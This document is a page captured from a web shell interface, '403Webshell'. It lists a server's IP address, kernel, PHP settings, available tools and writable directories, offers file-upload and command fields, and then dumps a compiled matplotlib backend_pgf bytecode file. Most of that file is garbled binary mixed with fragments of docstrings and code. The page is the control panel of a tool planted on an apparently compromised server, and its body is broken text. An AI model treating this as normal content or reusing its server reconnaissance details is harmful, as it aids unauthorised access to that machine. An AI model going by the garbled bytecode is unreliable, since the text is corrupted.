403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/backends/__pycache__/backend_pgf.cpython-312.pyc
�

G8�cX����ddlZddlZddlZddlmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlZddlmZddlZddlmZmZmZddlmZmZmZmZddlmZddlmZm Z dd	l!m"Z"dd
l#m$Z$ddl%m&Z&ejNe(�Z)ejTGd�d
��Z+ejXd�d��Z-ejXd�d��Z.d�Z/dZ0de0zZ1dZ2de2zZ3dZ4e	jje4dz�jlZ7ejpe	jje4dz�jrd�Z:ejpe	jje4dz�jrd�Z;ejXd�d��Z<d�Z=ejXd�d��Z>d�Z?d�Z@d �ZAd!�ZBGd"�d#eC�ZDGd$�d%�ZEej�d&�d'��ZGGd(�d)e�ZHGd*�d+e�ZIeZJej�Gd,�d-e��ZLGd.�d/�ZMy)0�N)�BytesIO)�TemporaryDirectory)�Image)�_api�cbook�font_manager)�_Backend�FigureCanvasBase�FigureManagerBase�RendererBase)�MixedModeRenderer)�_create_pdf_info_dict�_datetime_to_pdf)�Path)�Figure)�Gcfc��eZdZejdd��ed���Zejdd��ed���Zy)�__getattr__�3.6�)�obj_typec��tS�N)�
_NO_ESCAPE��selfs �A/usr/lib/python3/dist-packages/matplotlib/backends/backend_pgf.py�<lambda>z__getattr__.<lambda>(s��j��c�"�tjSr)�_split_math�__self__rs rrz__getattr__.<lambda>*s��k�2�2�rN)�__name__�
__module__�__qualname__r�
deprecated�property�	NO_ESCAPE�
re_mathsep�rrrr%sF��3�������3��(�)�+�I�4�������4��2�3�5�Jrrrc�p�tjddi�5t�cddd�S#1swYyxYw)z Build fontspec preamble from rc.�pgf.preamblerN)�mpl�
rc_context�
_get_preambler*rr�get_fontspecr0-s/��

�����,�	-�������s�
,�5c�(�tjdS)zGet LaTeX preamble from rc.r,�r-�rcParamsr*rr�get_preambler44s���<�<��'�'rc
�"�tjdg}tjddk7r�|jd�tjdr�gd�}gd�}t||�D]j\}}t	j
t
j|��}|jd|�d	|j�d
|jj��d���l|jtjjdd
���dj|�S)z=Prepare a LaTeX preamble based on the rcParams configuration.r,�
pgf.texsystem�pdflatexz\usepackage{fontspec}zpgf.rcfonts)�serifzsans\-serif�	monospace)�setmainfont�setsansfont�setmonofont�\�{z}[Path=\detokenize{z/}]�
underscore�strings)�option�
)r-r3�append�zip�pathlibr�fm�findfont�name�parent�as_posix�
texmanager�_usepackage_if_not_loaded�join)�preamble�families�commands�family�command�paths      rr/r/:s������^�,�-�H�
�|�|�O�$�
�2����0�1��<�<�
�&�=�H�D�H�#&�x��#:�
A�����|�|�B�K�K��$7�8������T�Y�Y����(<�(<�(>�!@�A�	
A�
�O�O�C�N�N�<�<��Y�=�(�)��9�9�X��rgRh���V�?��?g�q�q�?z(?<!\\)(?:\\\\)*z\$z(?=[%^])z\\z(\\mathdefault)rc��t|�Sr)�_tex_escape)�texts r�common_texificationrX_s
���t��rc���t|�}|jdd�}t|�}t|�D] \}}|dzst	|�}nd|z}|||<�"dj|�S)aV
    Do some necessary and/or useful substitutions for texts to be included in
    LaTeX documents.

    This distinguishes text-mode and math-mode by replacing the math separator
    ``$`` with ``\(\displaystyle %s\)``. Escaped math separators (``\$``)
    are ignored.

    The following characters are escaped in text segments: ``^%``
    u−z\ensuremath{-}�z\(\displaystyle %s\)r)�_replace_mathdefault�replacer!�	enumerate�_replace_escapetextrM)rW�parts�i�ss    rrVrVdsx�� ��%�D��<�<�(�*;�<�D����E��%� ����1��1�u�#�A�&�A�(�!�+�A���a����7�7�5�>�rc��t||�Sr)�_writeln��fh�lines  r�writelnrg�s���B���rc�H�|j|�|jd�y)Nz%
)�writerds  rrcrc�s���H�H�T�N��H�H�U�Orc���g}ddddd�}|j�d��|vr|j|��nmt�fd�tjj
D��r+tjddk7r|jd	�z�ntjd
��|j�}|jd||dzfz�d
ddd�}|j||j��gd�}|j�|vr|jd�|jd�d
j|�dzt|�zS)z�
    Generate a TeX string that renders string *s* with font properties *prop*,
    also applying any required escapes to *s*.
    z	\rmfamilyz	\sffamilyz	\ttfamily)r8�sansz
sans-serifr9rc3�<�K�|]}|j�k(���y�wr)rH)�.0�fontrQs  �r�	<genexpr>z*_escape_and_apply_props.<locals>.<genexpr>�s�����
E�d�d�i�i�6�!�
E�s�r6r7z\setmainfont{%s}\rmfamilyzIgnoring unknown font: %sz\fontsize{%f}{%f}g333333�?rz\itshapez\slshape)�normal�italic�oblique)�semibold�demibold�demi�bold�heavyz
extra bold�blackz	\bfseriesz\selectfont� )�
get_familyrC�anyrF�fontManager�ttflistr-r3�_log�warning�get_size_in_points�	get_style�
get_weightrMrV)ra�proprPrO�size�styles�
boldstylesrQs       @r�_escape_and_apply_propsr��s(���
�H�%�|�*��G�H�
�_�_�
�q�
!�F�
��������(�)�

�
E�b�n�n�.D�.D�
E�
E��l�l�?�+�z�9����4�v�=�>����0�&�9��"�"�$�D��O�O�(�D�$��*�+=�=�>��{�{�
K�F��O�O�F�4�>�>�+�,�-�)�J�����J�&�����%��O�O�N�#�
�7�7�8��s�"�[��^�3�3rc��t|tj�rt|�}n,|dk(r|jj	d�}nt|�}|�d|�d�S)z;Convert metadata key/value to a form that hyperref accepts.�Trapped�asciiz={�})�
isinstance�datetimerrH�decode�str)�key�values  r�_metadata_to_strr��sT���%��*�*�+� ��'��	�	�	��
�
�!�!�'�*���E�
���U�#�e�W�B��rc����	tjd�d�S#tj$rYnwxYw	tjd���fd�S#tj$r
Ytd��wxYw)z9Return a function that converts a pdf file to a png file.�
pdftocairoc��tjdddddd|z|tjj	|�dgtj
��S)	Nr�z-singlefilez-transpz-pngz-rz%dr��stderr)�
subprocess�check_output�osrS�splitext�STDOUT)�pdffile�pngfile�dpis   rrz+make_pdf_to_png_converter.<locals>.<lambda>�sI��Z�-D�-D�
�=�)�V�T�4�#�:�
�b�g�g�&�&�w�/��2�
4��$�$�.&�r�gsc���tj�jddddddddd	d
d|zd|z|gtj�
�S)Nz-dQUIETz-dSAFERz-dBATCHz	-dNOPAUSEz
-dNOPROMPTz
-dUseCIEColorz-dTextAlphaBits=4z-dGraphicsAlphaBits=4z-dDOINTERPOLATEz-sDEVICE=pngalphaz-sOutputFile=%sz-r%dr�)r�r��
executabler�)r�r�r��gs_infos   �rrz+make_pdf_to_png_converter.<locals>.<lambda>�sV���Z�-D�-D�
�
�
�
�	�9�k�<�
�1�
$�&7�
 �"3�g�"=�
�c�\�7�
$��$�$�.&�rz&No suitable pdf to png renderer found.)r-�_get_executable_info�ExecutableNotFoundError�RuntimeError)r�s@r�make_pdf_to_png_converterr��s����&�� � ��.�&�	&���&�&�
��
��&��*�*�4�0��&�	&���&�&�
���?�
@�@�
�s��1�1�A�A/�.A/c�&��eZdZd�fd�	Zd�Z�xZS)�
LatexErrorc�2��t�|�|�||_yr)�super�__init__�latex_output)r�messager��	__class__s   �rr�zLatexError.__init__�s���
����!�(��rc�^�|j\}|jr|d|jzz
}|S�NrB)�argsr��rras  r�__str__zLatexError.__str__�s0��
�Y�Y������
���)�)�)�)�A��r)r)r#r$r%r�r��
__classcell__�r�s@rr�r��s
���)�rr�c�T�eZdZdZed��Zed��Zeejd�d���Z
d�Zd�Zd�Z
d	�Zej d
�ed���Zej d�ed
���Zej d�ed���Zdd�d�Zd�Zd�Zy)�LatexManagerz�
    The LatexManager opens an instance of the LaTeX application for
    determining the metrics of text elements. The LaTeX environment can be
    modified by setting fonts and/or a custom preamble in `.rcParams`.
    c�l�ddtjd��dt�ddg}dj|�S)Nz\documentclass{article}z% !TeX program = r6z\usepackage{graphicx}�\begin{document}z!\typeout{pgf_backend_query_start}rB)r-r3r/rM)�latex_headers r�_build_latex_headerz LatexManager._build_latex_header�sC��
'�!����o�!>� ?�@�$��O��0�

���y�y��&�&rc�@�|j|j��S)z�
        Return the previous LatexManager if the header and tex system did not
        change, or a new instance otherwise.
        )�_get_cached_or_new_implr�)�clss r�_get_cached_or_newzLatexManager._get_cached_or_new�s���*�*�3�+B�+B�+D�E�Er�c��|�Srr*)r��headers  rr�z$LatexManager._get_cached_or_new_impl�s���u�rc��|j�|j�|jjj|�|jjjd�|jjj	�yr�)�latex�_setup_latex_process�stdinri�flushr�s  r�_stdin_writelnzLatexManager._stdin_writelns^���:�:���%�%�'��
�
�����q�!��
�
�����t�$��
�
����� rc�P�t|�}g}	|jjjd�}|j	|�|t|�d|k(rn?|s<|jj
�d|_tddj|�����dj|�S)Nr�zLaTeX process haltedr)	�listr��stdout�readrC�len�killr�rM)rra�chars�cs    r�_expectzLatexManager._expect	s�����G������
�
�!�!�&�&�q�)�A��L�L��O��c�!�f�W�X��!�#����
�
���!�!��
� �!7������H�H���w�w�u�~�rc�$�|jd�S)Nz
*)r�rs r�_expect_promptzLatexManager._expect_prompts���|�|�E�"�"rc��t�|_|jj|_t	j
||jj�|_	|jd��|jjd�\}}|jjdk7rt!d|j#���|��d|_t%j&�|j(�|_y#t$r+}t|jjd�d��|�d}~wt$r+}td|jjd���|�d}~wwxYw)NF��expect_replyrz_ not found.  Install it or change rcParams['pgf.texsystem'] to an available TeX implementation.zError starting process z
\makeatletter\@@end
zaLaTeX errored (probably missing font or error in preamble) while processing the following input:
)r�_tmpdirrH�tmpdir�weakref�finalize�cleanup�_finalize_tmpdirr��FileNotFoundErrorr�r�r��OSError�communicate�
returncoder�r��	functools�	lru_cache�_get_box_metrics)r�errr�r�s    rr�zLatexManager.__init__sJ��)�+����l�l�'�'��� '� 0� 0��t�|�|�7K�7K� L���		K��%�%�5�%�9����/�/�0K�L�����:�:� � �A�%��:��+�+�-�.�0��	�
���
� 5�	� 3� 3� 5�d�6K�6K� L����%!�	-���:�:�?�?�1�%�(�)"�#�$�*-�
-���	K��)�$�*�*�/�/�!�*<�)?�@�B�GJ�
K��	K�s$�C2�2	E�;&D!�!E�-&E�Ez3.5c��iSrr*rs rrzLatexManager.<lambda>7s��R�rrc�(�tjdS)Nr6r2rs rrzLatexManager.<lambda>9s��c�l�l�?�;�rc�"�|j�Sr)r�rs rrzLatexManager.<lambda>;s��d�6�6�8�rTr�c��tjtjddgtjtjd|j
��|_d�}tj|||j�|_	|j|j��|r"|jd�|j�yy)Nr6�-halt-on-error�utf-8)r�r��encoding�cwdc�D�|j�|j�yr)r�r�)r�s r�finalize_latexz9LatexManager._setup_latex_process.<locals>.finalize_latexGs���J�J�L����rz*pgf_backend_query_start)r��Popenr-r3�PIPEr�r�r�r��_finalize_latexr�r�r�r�)rr�r�s   rr�z!LatexManager._setup_latex_process=s���
 �%�%�
�\�\�/�
*�,<�=��/�/�*�/�/��$�+�+�/��
�
	 � '�/�/��.�$�*�*� .���	
���D�4�4�6�7���L�L�3�4����!�rc�8�|jt||��S)z�
        Get the width, total height, and descent (in TeX points) for a text
        typeset by the current LaTeX environment.
        )r�r�)rrWr�s   r�get_width_height_descentz%LatexManager.get_width_height_descentSs��
�$�$�%<�T�4�%H�I�Irc���|jd|z�	|j�}	|j
�djd�\}}}t|dd�t|dd�t|dd�}	}}|||	z|	fS#t$r+}tdj	||j
��|�d}~wwxYw#t$r!}tdj	||��|�d}~wwxYw)z�
        Get the width, total height and descent (in TeX points) for a TeX
        command's output in the current LaTeX environment.
        z.\sbox0{%s}\typeout{\the\wd0,\the\ht0,\the\dp0}z#Error measuring {}
LaTeX Output:
{}N����,���)
r�r�r��
ValueError�formatr��
splitlines�split�	Exception�float)
r�tex�answerr��width�height�offset�w�h�os
          rr�zLatexManager._get_box_metricsZs	��	
���=��C�	E�	F��(�(�*�F�	<�%+�$5�$5�$7��$;�$A�$A�#�$F�!�E�6�6���c�r�
�#�U�6�#�2�;�%7��v�c�r�{�9K�a�1���!�a�%��{����	F��D�$�f�S�#�*:�*:�;�=�BE�
F��	F���	<��D�$�f�S�&�1�3�8;�
<��	<�s.�A?�&B6�?	B3�&B.�.B3�6	C �?C�C N)r#r$r%�__doc__�staticmethodr��classmethodr�r�r�r�r�r�r�r�rr&r'�	str_cache�
texcommandr�r�r�r�r*rrr�r��s�����'��'��F��F���Y���������!��#�M�:'������&�x��'@�A�I�'������'��;�<�>�J�)�?�4�?�?�5�)��8�9�;�L�48�"�,J�rr�r�c��tj�}|jdtjd�j�z�	|j
�y#t$r!tjj�YywxYw)Nz&\includegraphics[interpolate=true]{%s}zimages/matplotlib.pngz\includegraphicsz	\pgfimage)
r�r�r�r�_get_data_pathrJr�r�r��cache_clear)�mans r�_get_image_inclusion_commandrvsx��
�
)�
)�
+�C����1�
�
�
�6�
7�
@�
@�
B�	C�D������"�����,�,�8�8�:���s�A�'B�Bc���eZdZ�fd�Z	dd�Zdd�Zd�Zd�Zdd�Zdd�Z	d�Z
d	�Zdd
�Zdd�Z
dd�Zd
�Zd�Zd�Zd�Z�xZS)�RendererPgfc�n��t�|��|j|_||_||_d|_y)a�
        Create a new PGF renderer that translates any drawing instruction
        into text commands to be interpreted in a latex pgfpicture environment.

        Attributes
        ----------
        figure : `matplotlib.figure.Figure`
            Matplotlib figure to initialize height, width and dpi from.
        fh : file-like
            File handle for the output of the drawing commands.
        rN)r�r�r�re�figure�
image_counter)rrrer�s   �rr�zRendererPgf.__init__�s1���	�����:�:�����������rc�P�t|jd�d|jz}|j|�|j	||�|j|�j
�\}}	|d|z|d|z|	d|z|	d|zf}
t|jd|
z�|jd||�|j|j�dk7|du��t|jd�d	|jz}||||f}|j|d
|��D]r\}
}|
d|z|
d|z}}t|jd�t|jd||fz�t|jd
�t|jd��tt|jd�y)N�\begin{pgfscope}rTrr�zQ\pgfsys@defobject{currentmarker}{\pgfqpoint{%fin}{%fin}}{\pgfqpoint{%fin}{%fin}}{���stroke�fillr���B^!Vl@F)�simplify�clip�"\pgfsys@transformshift{%fin}{%fin}z"\pgfsys@useobject{currentmarker}{}�\end{pgfscope})rcrer��_print_pgf_clip�_print_pgf_path_styles�get_extents�
get_points�_print_pgf_path�_pgf_path_draw�
get_linewidth�
iter_segments)r�gc�marker_path�marker_transrS�trans�rgbFace�f�bl�tr�coords�maxcoordr�point�code�x�ys                 r�draw_markerszRendererPgf.draw_markers�s���	����-�.�
����M��	
���R� ��#�#�B��0��(�(��6�A�A�C���B��A����B�q�E�A�I�r�!�u�q�y�"�Q�%�!�)�;������F�HN�O�	P�	
���T�;��=����2�#3�#3�#5��#<�!(��!4�	�	6�����$�� �4�8�8�+���	�H�9�h��9�� �-�-�e�e�37�.�9�	1�K�E�4���8�a�<��q��A��q�A��T�W�W�1�2��T�W�W�C�q�!�f�L�M��T�W�W�C�D��T�W�W�/�0�
	1�	����+�,rc�*�t|jd�|j|�|j||�|j	||||�|j|j
�dk7|du��t|jd�|j��ryt|jd�|j||�|j|�|j	||||�t|jd�t|jd�t|jd�t|jd�t|jd�tjj�j|j�}|j	d|j�|�|jd�	�t|jd�t|jd
�d|jz}|j|�j�\\}}\}	}
||z||	z}	}||z||
z}
}t!j"|	|z
�t!j"|
|z
�}}t|jd||fz�t%|�D]m}
t%|�D].}t|jd
�t|jd��0t|jd|z�t|jd��ot|jd�yy)Nrrrr �\pgfusepath{clip}zN\pgfsys@defobject{currentpattern}{\pgfqpoint{0in}{0in}}{\pgfqpoint{1in}{1in}}{z=\pgfpathrectangle{\pgfqpoint{0in}{0in}}{\pgfqpoint{1in}{1in}}T)rr�rTrz#\pgfsys@useobject{currentpattern}{}z \pgfsys@transformshift{1in}{0in}z"\pgfsys@transformshift{-%din}{0in}z \pgfsys@transformshift{0in}{1in})rcrer!r"r%r&r'�	get_hatchr-�
transforms�Affine2D�scaler��get_hatch_pathr#r$�math�ceil�range)rr)rS�	transformr-r=r.�xmin�ymin�xmax�ymax�repx�repy�iy�ixs               r�	draw_pathzRendererPgf.draw_path�s�������-�.����R� ��#�#�B��0����R��y�'�:����2�#3�#3�#5��#<�!(��!4�	�	6�����+�,��<�<�>��T�W�W�1�2��'�'��G�4�
� � ��$�� � ��T�9�g�>��T�W�W�2�3�
�T�W�W�F�
G�
�T�W�W�1�2��T�W�W�E�
F�
�T�W�W�2�3��N�N�+�+�-�3�3�D�H�H�=�E�� � ��r�'8�'8�':�E�B����t��,��T�W�W�/�0��T�W�W�d�#��T�X�X�
�A�� � ��+�6�6�8�
'�L�T�4�,�4���T��1�t�8�$�D��T��1�t�8�$�D����4�$�;�/����4�$�;�1G�$�D��T�W�W�:�d�D�\�I�
K��D�k�
G����+�K�B��T�W�W�&L�M��T�W�W�&I�J�K�����"G�$�"N�O�����"E�F�
G�
�T�W�W�/�0�Orc��d|jz}|j�}|rb|j�\}}||z
\}}|d|z|d|z||z||zf}t|jd|z�t|jd�|j�\}	}
|	�*|j
||	|
�t|jd�yy)NrTrr�zA\pgfpathrectangle{\pgfqpoint{%fin}{%fin}}{\pgfqpoint{%fin}{%fin}}r9)r��get_clip_rectangler$rcre�
get_clip_pathr%)rr)r.�bbox�p1�p2rrr1�clippath�clippath_transs           rr!zRendererPgf._print_pgf_clip�s�������M���$�$�&����_�_�&�F�B����7�D�A�q���U�Q�Y��1���	�1�q�5�!�a�%�7�F��T�W�W�I���
�
�T�W�W�2�3�$&�#3�#3�#5� ��.���� � ��X�~�>��T�W�W�2�3� rc	��dddd�}t|j||j��dddd�}t|j||j��|du}|j	�r|j�x}}n*|j
�d	}|rt|�d	kDr|d	nd
}|r;t|jdt|dd	�z�t|jd�|r|d
k7rt|jd
|z�|j�tztz}|j
�}	t|jd|z�t|jd|	dd	z�t|jd�|d
k7rt|jd|z�|j�\}
}|�t|jd�yt|jddjd�|D��|
fz�y)Nz\pgfsetbuttcapz\pgfsetroundcapz\pgfsetrectcap)�butt�round�
projectingz\pgfsetmiterjoinz\pgfsetroundjoinz\pgfsetbeveljoin)�miterrV�bevel�rTz(\definecolor{currentfill}{rgb}{%f,%f,%f}z\pgfsetfillcolor{currentfill}�\pgfsetfillopacity{%f}z\pgfsetlinewidth{%fpt}z*\definecolor{currentstroke}{rgb}{%f,%f,%f}z!\pgfsetstrokecolor{currentstroke}�\pgfsetstrokeopacity{%f}z\pgfsetdash{}{0pt}z\pgfsetdash{%s}{%fpt}rc3�&K�|]	}d|z���y�w)z{%fpt}Nr*)rm�dashs  rroz5RendererPgf._print_pgf_path_styles.<locals>.<genexpr>:s����G�T�	�D� 0�G�s�)rcre�get_capstyle�
get_joinstyle�get_forced_alpha�	get_alpha�get_rgbr��tupler'�mpl_pt_to_in�latex_in_to_pt�
get_dashesrM)rr)r-�	capstyles�
joinstyles�has_fill�fillopacity�
strokeopacity�lw�stroke_rgba�dash_offset�	dash_lists            rr"z"RendererPgf._print_pgf_path_styles
s���.�0�#4�6�	�	����)�B�O�O�$5�6�7� 3�2�2�4�
�	����*�R�%5�%5�%7�8�9��$�&��
��� �*,�,�,�.�8�K�-��J�J�L��O�M�(0�S��\�A�5E�'�!�*�3�K���T�W�W�@��W�R�a�[�)�*�
+�
�T�W�W�>�?���s�*��T�W�W�7�+�E�F��
�
�
�,�
.��
?���j�j�l������3�b�8�9�����>��r��?�#�	$�	����>�?��C���T�W�W�9�M�I�J�"$������Y����T�W�W�3�4��T�W�W�-����G�Y�G�G�#�%�%�
&rc�v�d|jz}|r|j�nd}d|jz}|rR|�P|j�\}}	t|d|�t|d|�t	|	d|�t	|	d|�f}
n||||f}
|j||
��D�]`\}}|tjk(r0t|�\}
}t|jd||
z||zfz��J|tjk(rt|jd��t|tjk(r0t|�\}
}t|jd||
z||zfz���|tjk(r=t|�\}}}}||z||z||z||zf}t|jd	|z���|tjk(s��t|�\}}}}}}||z||z||z||z||z||zf}t|jd
|z���c|r|j�nd}|��|\}}}|��|dz}|dz}t|jd
�t|jd�t|jd||zd�d||zd�d��t|jdt!|��d��t|jd�yyy)NrTrrr�)rz&\pgfpathmoveto{\pgfqpoint{%fin}{%fin}}z
\pgfpathclosez&\pgfpathlineto{\pgfqpoint{%fin}{%fin}}zH\pgfpathquadraticcurveto{\pgfqpoint{%fin}{%fin}}{\pgfqpoint{%fin}{%fin}}zW\pgfpathcurveto{\pgfqpoint{%fin}{%fin}}{\pgfqpoint{%fin}{%fin}}{\pgfqpoint{%fin}{%fin}}g�?rZz\usepgfmodule{decorations}z(\usepgflibrary{decorations.pathmorphing}z/\pgfkeys{/pgf/decoration/.cd, segment length = r.zin, amplitude = zin}z\pgfmathsetseed{r�z%\pgfdecoratecurrentpath{random steps})r�rMr$�max�minr(r�MOVETOrdrcre�	CLOSEPOLY�LINETO�CURVE3�CURVE4�get_sketch_params�int)rr)rSrBr-r.rOr2rPrQr�pointsr4r5r6�cx�cy�px�pyr1�c1x�c1y�c2x�c2y�
sketch_paramsr=�length�
randomnesss                            rr%zRendererPgf._print_pgf_path=s�������M��*,�r�$�$�&�$�� �4�8�8�+���W�_��_�_�&�F�B����1���y�)�3�r�!�u�x�i�+@���1��x�(�#�b��e�X�*>�@�D��I��y�(�H�=�D� �.�.�y�t�.�D�	#�L�F�D��t�{�{�"��V�}���1�����B��a�%��Q���(�)�����'�����"2�3�����$��V�}���1�����B��a�%��Q���(�)�����$�!&�v����B��B��a���a���a���a��7������M�!�"�#�����$�-2�6�]�*��S�#�s�B���q��#��'�3��7�C�!�G�R�!�V�R�!�V�K������5�"�	"�#�/	#�>35��,�,�.�$�
��$�)6�%�E�6�:�� ��#�
����
������"?�@�����"M�N�����#-�.4�q�j�!�,<�=(�).���A��d�#<�=�����$6�s�:��6G�r�"J�K�����"J�K�!�%rc��g}|r|jd�|r|jd�t|jddj|�z�y)Nrrz\pgfusepath{%s}r�)rCrcrerM)rrr�actionss    rr&zRendererPgf._pgf_path_drawsB������N�N�8�$���N�N�6�"�����,�s�x�x��/@�@�Arc��y)NTr*rs r�option_scale_imagezRendererPgf.option_scale_image�s��rc�*�tjdS)Nzimage.composite_imager2rs r�option_image_nocompositez$RendererPgf.option_image_nocomposite�s���<�<� 7�8�8�8rc��|jdd\}}|dk(s|dk(rytjjt	|j
dd��st
d��tj|j
j�}d|j|jfz}	tj|ddd��j|j|	z�|xjdz
c_t!|j
d	�|j#|�d
|j$z}
|�,t!|j
d||
z||
zfz�||
z||
z}}n`|j'�j)�\}}}
}}}t!|j
d||
z||
z|
|
z||
z||z|
z||z|
zfz�dx}}t+|du�j-�}t!|j
d
t/�||||	fz�t!|j
d�y)NrZrrHrzXstreamed pgf-code does not support raster graphics, consider using the pgf-to-pdf optionz%s-img%d.png���r�rrTrz/\pgfsys@transformcm{%f}{%f}{%f}{%f}{%fin}{%fin}zD\pgftext[left,bottom]{%s[interpolate=%s,width=%fin,height=%fin]{%s}}r )�shaper�rS�exists�getattrrer�rErrH�stemrr�	fromarray�saverIrcr!r��frozen�	to_valuesr��lowerr)rr)r5r6�imrBrrrS�	fname_imgr.�tr1�tr2�tr3�tr4�tr5�tr6�interps                  r�
draw_imagezRendererPgf.draw_image�s����x�x���|���1���6�Q�!�V���w�w�~�~�g�d�g�g�v�r�:�;��.�/�
/�
�|�|�D�G�G�L�L�)��"�d�i�i��1C�1C�%D�D�	�
����4�R�4��!�&�&�t�{�{�Y�'>�?����a���	����-�.����R� �����M�����T�W�W�:�a�!�e�Q��U�^�K�
M��q�5�!�a�%�q�A�+4�+;�+;�+=�+G�+G�+I�(�C��c�3��S��T�W�W�G��A�g�s�Q�w��a���q���Q�w�!�m�c�A�g��]�4�4�
5��I�A���Y�$�&�'�-�-�/������D�.�0��!�Q�	�+�+�	,�
	����+�,rc	
�4�|j||||||||�yr)�	draw_text)	rr)r5r6rar��angle�ismath�mtexts	         r�draw_texzRendererPgf.draw_tex�s�����r�1�a��D�%���?rc	�0�t||�}t|jd�|j�}	|	dk7r2t|jd|	z�t|jd|	z�t	|j��dd}
t|jd|
z�t|jd�t|jd�d	|z}|jj}g}|r�|d
k(s|j�dk(r�|j�dk7r�|j�}
|j�j|
�\}}d
ddd�}ddddd�}|jd||zd�d�d||zd�d�||j�||j�g�n |jd||zd�d||zd�d��|d
k7r|jd|z�t|jddj!|��d|�d��t|jd �y)!NrrTr[r\rZz&\definecolor{textcolor}{rgb}{%f,%f,%f}z\pgfsetstrokecolor{textcolor}z\pgfsetfillcolor{textcolor}z\color{textcolor}r�anchor�center_baseline�left�rightr)r�r��center�top�bottom�base)r�r��baseliner�zx=r.�inzy=zin, y=zin, left, basez	rotate=%fz	\pgftext[r�z]{r�r )r�rcrerbrdrcrr��get_rotation_mode�get_verticalalignment�get_unitless_position�
get_transformrB�extend�get_horizontalalignmentrCrM)rr)r5r6rar�r�r�r��alpha�rgbr��	text_args�pos�halign�valigns                rr�zRendererPgf.draw_text�s���
$�A�t�,������-�.�������C�<��T�W�W�7�%�?�@��T�W�W�9�E�A�B��B�J�J�L�!�"�1�%������C�c�I�J�����:�;�����8�9� �1�$���k�k�o�o���	���!���(�(�*�h�6��+�+�-�1B�B��-�-�/�C��&�&�(�2�2�3�7�D�A�q�$�w�"�E�F�"�h�"(�B�8�F�����Q�s�U�1�I�R� ��Q�s�U�1�I�R� ��u�4�4�6�7��u�2�2�4�5�	�
�
���r�!�C�%���&��3��q�	��H�I��A�:����[�5�0�1��������)�1D�a�H�I�����+�,rc��tj�j||�\}}}t|jz}||z||z||zfSr)r�r�r�rer�)rrar�r�rr�dr.s        r�get_text_width_height_descentz)RendererPgf.get_text_width_height_descent�sQ�� �2�2�4�,�,�Q��5�	��1�a�

�4�8�8�#���1�u�a�!�e�Q��U�"�"rc��y)NFr*rs r�flipyzRendererPgf.flipy�s��rc��|jj�|jz|jj�|jzfSr)r�get_figwidthr��
get_figheightrs r�get_canvas_width_heightz#RendererPgf.get_canvas_width_height�s>�����(�(�*�T�X�X�5����)�)�+�d�h�h�6�8�	8rc�.�|tz|jzSr)rer�)rr{s  r�points_to_pixelszRendererPgf.points_to_pixels�s����$�t�x�x�/�/rr)TF)�TeXN)FN)r#r$r%r�r7rKr!r"r%r&r�r�r�r�r�r�r�r�r�r�r�s@rrr�sb����("�$-�L31�j4�(1&�f@L�DB��9�'-�R@�--�^	#��8�
0rrc�Z��eZdZdddd�Zd�Zdd�d�Zd	�Zdd
�d�Zd�Zd
�Z	�fd�Z
�xZS)�FigureCanvasPgfzLaTeX PGF picturezLaTeX compiled PGF picturezPortable Network Graphics)�pgf�pdf�pngc��y)Nr�r*rs r�get_default_filetypez$FigureCanvasPgf.get_default_filetype	s��rN��bbox_inches_restorec
��d}dg}t�j�D]}|jd|z��|jd�dj|�}|jj�|jj
�}}|jj}|j|�|j|�|jd�t|d�t|d�t|d�t|d	||fz�t|d
�t|j|||t|j|�|��}	|jj|	�t|d�t|d
�t|d�y)Na�%% Creator: Matplotlib, PGF backend
%%
%% To include the figure in your LaTeX document, write
%%   \input{<filename>.pgf}
%%
%% Make sure the required packages are loaded in your preamble
%%   \usepackage{pgf}
%%
%% Also ensure that all the required font packages are loaded; for instance,
%% the lmodern package is sometimes necessary when using math font.
%%   \usepackage{lmodern}
%%
%% Figures using additional raster images can only be included by \input if
%% they are in the same directory as the main LaTeX file. For loading figures
%% from other directories you can use the `import` package
%%   \usepackage{import}
%%
%% and then include the figures with
%%   \import{<path to file>}{<filename>.pgf}
%%
z)%% Matplotlib used the following preamblez%%   z%%rBz\begingroupz
\makeatletterz\begin{pgfpicture}z:\pgfpathrectangle{\pgfpointorigin}{\pgfqpoint{%fin}{%fin}}z&\pgfusepath{use as bounding box, clip}r�z\end{pgfpicture}z\makeatotherz	\endgroup)
r/r�rCrMrr�r�r�rircr
r�draw)
rrer��header_text�header_info_preamblerfrrr��renderers
          r�_print_pgf_to_fhz FigureCanvasPgf._print_pgf_to_fhsZ����.!L�L��!�O�.�.�0�	8�D� �'�'��$��7�	8��#�#�D�)�#�y�y�)=�>���{�{�'�'�)�4�;�;�+D�+D�+F�1���k�k�o�o��	�����
���%�&�
�������^�$���%�&���*�+���N��q�6��	�	��>�?�$�T�[�[�!�Q��%0����b�%A�9L�N��	
������"�	��(�)���_�%���\�"rc���tj|dd��5}tj|�stjd�|�}|j
|fi|��ddd�y#1swYyxYw)zy
        Output pgf macros for drawing the figure so it can be included and
        rendered in latex documents.
        rr��r�N)r�open_file_cm�file_requires_unicode�codecs�	getwriterr�)r�fname_or_fh�kwargs�files    r�	print_pgfzFigureCanvasPgf.print_pgfDsg��
�
�
��S�7�
C�	2�t��.�.�t�4�0�v�'�'��0��6��!�D�!�!�$�1�&�1�	2�	2�	2�s�AA&�&A/)�metadatac���|jj�\}}td|xsi�}djd�|j	�D��}t�5}t
j|�}	|j|	dzfi|��|	dzjdjdd|zd	||fzd
t�ddd
dg	�d��tjd}
tj|
dddgt|��|	dzj!d�5}tj"|d�5}t%j&||�ddd�ddd�ddd�y#1swY�xYw#1swY�xYw#1swYyxYw)z3Use LaTeX to compile a pgf generated figure to pdf.r�r�c3�:K�|]\}}t||����y�wr�r��rm�k�vs   rroz,FigureCanvasPgf.print_pdf.<locals>.<genexpr>Ss#����B�'+�q�!��Q��"�B���z
figure.pgfz
figure.texrB�\documentclass[12pt]{article}�#\usepackage[pdfinfo={%s}]{hyperref}�8\usepackage[papersize={%fin,%fin}, margin=0in]{geometry}�\usepackage{pgf}r�z
